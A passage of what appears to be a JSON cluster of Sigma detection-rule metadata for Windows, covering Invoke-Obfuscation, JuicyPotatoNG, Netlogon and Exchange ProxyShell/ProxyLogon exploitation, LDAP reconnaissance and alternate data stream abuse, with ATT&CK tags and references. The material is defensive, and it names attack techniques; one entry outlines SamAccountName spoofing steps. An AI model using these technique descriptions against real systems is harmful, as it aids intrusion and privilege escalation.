Clip.exe in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2020/10/09", "falsepositive": [ "Unknown" ], "filename": "win_system_invoke_obfuscation_via_use_clip_services.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_clip_services.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "63e3365d-4824-42d8-8b82-e56810fefa0c", "value": "Invoke-Obfuscation Via Use Clip - System" }, { "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", "creation_date": "2020/10/13", "falsepositive": [ "Unknown" ], "filename": "win_system_invoke_obfuscation_clip_services.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_clip_services.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f7385ee2-0e0c-11eb-adc1-0242ac120002", "value": "Invoke-Obfuscation CLIP+ Launcher - System" }, { "description": "Detects the invocation of TabTip via CLSID as seen when JuicyPotatoNG is used on a system in brute force mode", "meta": { "author": "Florian Roth", "creation_date": "2022/10/07", "falsepositive": [ "Unknown" ], "filename": "win_system_lpe_indicators_tabtip.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/antonioCoco/JuicyPotatoNG", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_lpe_indicators_tabtip.yml" ], "tags": [ "attack.execution", "attack.t1557.001" ] }, "related": [ { "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bc2e25ed-b92b-4daa-b074-b502bdd1982b", "value": "Local Privilege Escalation Indicator TabTip" }, { "description": "Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472.", "meta": { "author": "NVISO", "creation_date": "2020/09/15", "falsepositive": [ "Unknown" ], "filename": "win_system_vul_cve_2020_1472.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_vul_cve_2020_1472.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1548" ] }, "related": [ { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a0cb7110-edf0-47a4-9177-541a4083128a", "value": "Vulnerable Netlogon Secure Channel Connection Allowed" }, { "description": "Detects PsExec service installation and execution events (service and Sysmon)", "meta": { "author": "Thomas Patzke", "creation_date": "2017/06/12", "falsepositive": [ "Unknown" ], "filename": "win_system_service_install_psexec.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://jpcertcc.github.io/ToolAnalysisResultSheet", "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_psexec.yml" ], "tags": [ "attack.execution", "attack.t1569.002", "attack.s0029" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "42c575ea-e41e-41f1-b248-8093c3e82a28", "value": "PsExec Service Installation" }, { "description": "Detects service installation with suspicious folder patterns", "meta": { "author": "pH-T", "creation_date": "2022/03/18", "falsepositive": [ "Unknown" ], "filename": "win_system_susp_service_installation_folder_pattern.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation_folder_pattern.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "car.2013-09-005", "attack.t1543.003" ] }, "uuid": "1b2ae822-6fe1-43ba-aa7c-d1a3b3d1d5f2", "value": "Service Installation with Suspicious Folder Pattern" }, { "description": "Detects Remote Utilities Host service installation on the target system.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/31", "falsepositive": [ "Legitimate use of the tool" ], "filename": "win_system_service_install_remote_utilities.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.remoteutilities.com/support/kb/host-service-won-t-start/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_remote_utilities.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "85cce894-dd8b-4427-a958-5cc47a4dc9b9", "value": "Remote Utilities Host Service Install" }, { "description": "The attacker creates a computer object using those permissions with a password known to her.\nAfter that she clears the attribute ServicePrincipalName on the computer object.\nBecause she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.\n", "meta": { "author": "frack113", "creation_date": "2021/12/15", "falsepositive": [ "Unknown" ], "filename": "win_system_vul_cve_2021_42278_or_cve_2021_42287.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_vul_cve_2021_42278_or_cve_2021_42287.yml" ], "tags": [ "attack.credential_access", "attack.t1558.003" ] }, "uuid": "44bbff3e-4ca3-452d-a49a-6efa4cafa06f", "value": "Exploit SamAccountName Spoofing with Kerberos" }, { "description": "Rule to detect the Hybrid Connection Manager service running on an endpoint.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2021/04/12", "falsepositive": [ "Legitimate use of Hybrid Connection Manager via Azure function apps." ], "filename": "win_hybridconnectionmgr_svc_running.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/servicebus/win_hybridconnectionmgr_svc_running.yml" ], "tags": [ "attack.persistence", "attack.t1554" ] }, "related": [ { "dest-uuid": "960c3c86-1480-4d72-b4e0-8c242e84a5c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b55d23e5-6821-44ff-8a6e-67218891e49f", "value": "HybridConnectionManager Service Running" }, { "description": "Detects Code Integrity (CI) engine blocking processes from loading unsigned DLLs residing in suspicious locations", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/03", "falsepositive": [ "Unknown" ], "filename": "win_security_mitigations_unsigned_dll_from_susp_location.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/nasbench/EVTX-ETW-Resources/blob/45fd5be71a51aa518b1b36d4e1f36af498084e27/ETWEventsList/CSV/Windows11/21H2/W11_21H2_Pro_20220719_22000.795/Providers/Microsoft-Windows-Security-Mitigations.csv", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_unsigned_dll_from_susp_location.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.002" ] }, "uuid": "8289bf8c-4aca-4f5a-9db3-dc3d7afe5c10", "value": "Unsigned Binary Loaded From Suspicious Location" }, { "description": "Detects Code Integrity (CI) engine blocking Microsoft Defender's processes (MpCmdRun and NisSrv) from loading unsigned DLLs which may be an attempt to sideload arbitrary DLL", "meta": { "author": "Bhabesh Raj", "creation_date": "2022/08/02", "falsepositive": [ "Unknown" ], "filename": "win_security_mitigations_defender_load_unsigned_dll.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_defender_load_unsigned_dll.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.002" ] }, "uuid": "0b0ea3cc-99c8-4730-9c53-45deee2a4c86", "value": "Microsoft Defender Blocked from Loading Unsigned DLL" }, { "description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", "meta": { "author": "Tim Burrell", "creation_date": "2020/02/07", "falsepositive": [ "Unknown" ], "filename": "win_dns_analytic_apt_gallium.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server_analytic/win_dns_analytic_apt_gallium.yml" ], "tags": [ "attack.credential_access", "attack.command_and_control", "attack.t1071" ] }, "related": [ { "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3db10f25-2527-4b79-8d4b-471eb900ee29", "value": "GALLIUM Artefacts - Builtin" }, { "description": "Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.", "meta": { "author": "Florian Roth, Gleb Sukhodolskiy, Timur Zinniatullin oscd.community", "creation_date": "2017/08/22", "falsepositive": [ "Unknown (data set is too small; further testing needed)" ], "filename": "win_wmi_persistence.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", "https://twitter.com/mattifestation/status/899646620148539397", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/wmi/win_wmi_persistence.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1546.003" ] }, "related": [ { "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0b7889b4-5577-4521-a60a-3376ee7f9f7b", "value": "WMI Persistence" }, { "description": "Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events.", "meta": { "author": "Pushkarev Dmitry", "creation_date": "2020/06/28", "falsepositive": [ "Need tuning applocker or add exceptions in SIEM" ], "filename": "win_applocker_file_was_not_allowed_to_run.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://nxlog.co/documentation/nxlog-user-guide/applocker.html", "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/using-event-viewer-with-applocker", "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/applocker/win_applocker_file_was_not_allowed_to_run.yml" ], "tags": [ "attack.execution", "attack.t1204.002", "attack.t1059.001", "attack.t1059.003", "attack.t1059.005", "attack.t1059.006", "attack.t1059.007" ] }, "related": [ { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "401e5d00-b944-11ea-8f9a-00163ecd60ae", "value": "File Was Not Allowed To Run" }, { "description": "Detects potential Active Directory enumeration via LDAP", "meta": { "author": "Adeem Mawani", "creation_date": "2021/06/22", "falsepositive": "No established falsepositives", "filename": "win_ldap_recon.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/hunting-for-reconnaissance-activities-using-ldap-search-filters/ba-p/824726", "https://github.com/fox-it/BloodHound.py/blob/d65eb614831cd30f26028ccb072f5e77ca287e0b/bloodhound/ad/domain.py#L427", "https://medium.com/falconforce/falconfriday-detecting-active-directory-data-collection-0xff21-c22d1a57494c", "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/Recon/PowerView.ps1", "https://github.com/BloodHoundAD/SharpHound3/blob/7d96b991b1887ff50349ce59c80980bc0d95c86a/SharpHound3/LdapBuilder.cs", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ldap/win_ldap_recon.yml" ], "tags": [ "attack.discovery", "attack.t1069.002", "attack.t1087.002", "attack.t1482" ] }, "related": [ { "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "31d68132-4038-47c7-8f8e-635a39a7c174", "value": "Potential Active Directory Reconnaissance/Enumeration Via LDAP" }, { "description": "Detects an appx package installation with the error code \"0x80073cff\". Whihc indicates that the package didn't meet the sgining requirements and could be suspicious", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/11", "falsepositive": [ "Legitimate AppX packages not signed by MS used part of an enterprise" ], "filename": "appxdeployment_server_susp_appx_package_installation.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", "https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting", "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/appxdeployment_server_susp_appx_package_installation.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "898d5fc9-fbc3-43de-93ad-38e97237c344", "value": "Suspicious AppX Package Installation Attempt" }, { "description": "Detects an appx package added the pipeline of the \"to be processed\" packages which is located in suspicious locations", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/11", "falsepositive": [ "Unknown" ], "filename": "appxdeployment_server_susp_package_locations.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", "https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting", "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/appxdeployment_server_susp_package_locations.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "5cdeaf3d-1489-477c-95ab-c318559fc051", "value": "Suspicious AppX Package Locations" }, { "description": "Detects potential installation or installation attempts of known malicious appx packages", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/11", "falsepositive": [ "Rare occasions where a malicious package uses the exact same name and version as a legtimate application" ], "filename": "appxdeployment_server_mal_appx_names.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://forensicitguy.github.io/analyzing-magnitude-magniber-appx/", "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/appxdeployment_server_mal_appx_names.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "09d3b48b-be17-47f5-bf4e-94e7e75d09ce", "value": "Potential Malicious AppX Package Installation Attempts" }, { "description": "Detects an appx package added the pipeline of the \"to be processed\" packages which is downloaded from a suspicious domain", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/11", "falsepositive": [ "Unknown" ], "filename": "appxdeployment_server_susp_domains.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", "https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting", "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/appxdeployment_server_susp_domains.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "8b48ad89-10d8-4382-a546-50588c410f0d", "value": "Suspicious Remote AppX Package Locations" }, { "description": "Detects an appx package added the pipeline of the \"to be processed\" packages which is located in uncommon locations", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/11", "falsepositive": [ "Unknown" ], "filename": "appxdeployment_server_uncommon_package_locations.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", "https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting", "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/appxdeployment_server_uncommon_package_locations.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "c977cb50-3dff-4a9f-b873-9290f56132f1", "value": "Uncommon AppX Package Locations" }, { "description": "Detects removal of an exported Exchange mailbox which could be to cover tracks from ProxyShell exploit", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/27", "falsepositive": [ "Unknown" ], "filename": "win_exchange_proxyshell_remove_mailbox_export.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/modules/exploits/windows/http/exchange_proxyshell_rce.rb#L430", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_remove_mailbox_export.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070" ] }, "uuid": "09570ae5-889e-43ea-aac0-0e1221fb3d95", "value": "Remove Exported Mailbox from Exchange Webserver" }, { "description": "Detects log entries that appear in exploitation attempts against MS Exchange RCE CVE-2021-42321", "meta": { "author": "Florian Roth, @testanull", "creation_date": "2021/11/18", "falsepositive": [ "Unknown, please report false positives via https://github.com/SigmaHQ/sigma/issues" ], "filename": "win_exchange_cve_2021_42321.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_cve_2021_42321.yml" ], "tags": [ "attack.lateral_movement", "attack.t1210" ] }, "related": [ { "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c92f1896-d1d2-43c3-92d5-7a5b35c217bb", "value": "Possible Exploitation of Exchange RCE CVE-2021-42321" }, { "description": "Rule to detect an adversary setting OabVirtualDirectory External URL property to a script in Exchange Management log", "meta": { "author": "Jose Rodriguez @Cyb3rPandaH", "creation_date": "2021/03/15", "falsepositive": [ "Unknown" ], "filename": "win_exchange_set_oabvirtualdirectory_externalurl.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/OTR_Community/status/1371053369071132675", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_set_oabvirtualdirectory_externalurl.yml" ], "tags": [ "attack.persistence", "attack.t1505.003" ] }, "uuid": "9db37458-4df2-46a5-95ab-307e7f29e675", "value": "Exchange Set OabVirtualDirectory ExternalUrl Property" }, { "description": "Detects a failed installation of a Exchange Transport Agent", "meta": { "author": "Tobias Michalski", "creation_date": "2021/06/08", "falsepositive": [ "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." ], "filename": "win_exchange_transportagent_failed.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_transportagent_failed.yml" ], "tags": [ "attack.persistence", "attack.t1505.002" ] }, "related": [ { "dest-uuid": "35187df2-31ed-43b6-a1f5-2f1d3d58d3f1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c7d16cae-aaf3-42e5-9c1c-fb8553faa6fa", "value": "Failed MSExchange Transport Agent Installation" }, { "description": "Detects specific patterns found after a successful ProxyLogon exploitation in relation to a Commandlet invocation of Set-OabVirtualDirectory", "meta": { "author": "Florian Roth", "creation_date": "2021/08/09", "falsepositive": [ "Unlikely" ], "filename": "win_exchange_proxylogon_oabvirtualdir.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxylogon_oabvirtualdir.yml" ], "tags": [ "attack.t1587.001", "attack.resource_development" ] }, "related": [ { "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "550d3350-bb8a-4ff3-9533-2ba533f4a1c0", "value": "ProxyLogon MSExchange OabVirtualDirectory" }, { "description": "Detects a write of an Exchange CSR to an untypical directory or with aspx name suffix which can be used to place a webshell", "meta": { "author": "Max Altgelt", "creation_date": "2021/08/23", "falsepositive": [ "Unlikely" ], "filename": "win_exchange_proxyshell_certificate_generation.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/GossiTheDog/status/1429175908905127938", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_certificate_generation.yml" ], "tags": [ "attack.persistence", "attack.t1505.003" ] }, "uuid": "b7bc7038-638b-4ffd-880c-292c692209ef", "value": "Certificate Request Export to Exchange Webserver" }, { "description": "Detects a successful export of an Exchange mailbox to untypical directory or with aspx name suffix which can be used to place a webshell or the needed role assignment for it", "meta": { "author": "Florian Roth, Rich Warren, Christian Burkard", "creation_date": "2021/08/09", "falsepositive": [ "Unlikely" ], "filename": "win_exchange_proxyshell_mailbox_export.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_mailbox_export.yml" ], "tags": [ "attack.persistence", "attack.t1505.003" ] }, "uuid": "516376b4-05cd-4122-bae0-ad7641c38d48", "value": "Mailbox Export to Exchange Webserver" }, { "description": "Detects the Installation of a Exchange Transport Agent", "meta": { "author": "Tobias Michalski", "creation_date": "2021/06/08", "falsepositive": [ "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." ], "filename": "win_exchange_transportagent.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_transportagent.yml" ], "tags": [ "attack.persistence", "attack.t1505.002" ] }, "related": [ { "dest-uuid": "35187df2-31ed-43b6-a1f5-2f1d3d58d3f1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4fe151c2-ecf9-4fae-95ae-b88ec9c2fca6", "value": "MSExchange Transport Agent Installation - Builtin" }, { "description": "Exports the target Registry key and hides it in the specified alternate data stream.", "meta": { "author": "Oddvar Moe, Sander Wiebing, oscd.community", "creation_date": "2020/10/07", "falsepositive": [ "Unknown" ], "filename": "create_stream_hash_regedit_export_to_ads.yml", "level": "high", "logsource.category": "create_stream_hash", "logsource.product": "windows", "refs": [ "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_regedit_export_to_ads.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.004" ] }, "related": [ { "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0d7a9363-af70-4e7b-a3b7-1a176b7fbe84", "value": "Exports Registry Key To an Alternate Data Stream" }, { "description": "Detects the download of suspicious file type from a well-known file and paste sharing domain", "meta": { "author": "Florian Roth", "creation_date": "2022/08/24", "falsepositive": [ "Unknown" ], "filename": "create_stream_hash_susp_domain_ext_combo.yml", "level": "high", "logsource.category": "create_stream_hash", "logsource.product": "windows", "refs": [ "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", "https://www.cisa.gov/uscert/ncas/alerts/aa22-321a", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_domain_ext_combo.yml" ], "tags": [ "attack.defense_evasion", "attack.s0139", "attack.t1564.004" ] }, "related": [ { "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "52182dfb-afb7-41db-b4bc-5336cb29b464", "value": "Suspicious File Download from File Sharing Domain" }, { "description": "Detects the download of suspicious file type from a well-known file and paste sharing domain", "meta": { "author": "Florian Roth", "creation_date": "2022/08/24", "falsepositive": [ "Unknown" ], "filename": "create_stream_hash_susp_domain_ext_combo_med.yml", "level": "medium", "logsource.category": "create_stream_hash", "logsource.product": "windows", "refs": [ "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", "https://www.cisa.gov/uscert/ncas/alerts/aa22-321a", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_domain_ext_combo_med.yml" ], "tags": [ "attack.defense_evasion", "attack.s0139", "attack.t1564.004" ] }, "related": [ { "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ae02ed70-11aa-4a22-b397-c0d0e8f6ea99", "value": "Unusual File Download from File Sharing Domain" }, { "description": "Detects the creation of a suspicious ADS (Alternate Data Stream) file by software other than browsers", "meta": { "author": "frack113", "creation_date": "2022/10/22", "falsepositive": [ "Other legitimate browsers not currently included in the filter (please add them)", "Legitimate downloads via scripting or command-line tools (Investigate to determine if it's legitimate)" ], "filename": "create_stream_hash_creation_internet_file.yml", "level": "medium", "logsource.category": "create_stream_hash", "logsource.product": "windows", "refs": [ "https://www.bleepingcomputer.com/news/security/exploited-windows-zero-day-lets-javascript-files-bypass-security-warnings/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_creation_internet_file.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "573df571-a223-43bc-846e-3f98da481eca", "value": "Creation Of a Suspicious ADS File Outside a Browser Download" }, { "description": "Detects the download of suspicious file type from URLs with IP", "meta": { "author": "Nasreddine Bencherchali, Florian Roth", "creation_date": "2022/09/07", "falsepositive": [ "Unknown" ], "filename": "create_stream_hash_susp_ip_domains.yml", "level": "high", "logsource.category": "create_stream_hash", "logsource.product": "windows", "refs": [ "https://github.com/trustedsec/SysmonCommunityGuide/blob/adcdfee20999f422b974c8d4149bf4c361237db7/chapters/file-stream-creation-hash.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_ip_domains.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.004" ] }, "related": [ { "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "025bd229-fd1f-4fdb-97ab-20006e1a5368", "value": "Unusual File Download from Direct IP Address" }, { "description": "Detects the creation of a file on disk that has an imphash of a well-known hack tool", "meta": { "author": "Florian Roth", "creation_date": "2022/08/24", "falsepositive": [ "Unknown" ], "filename": 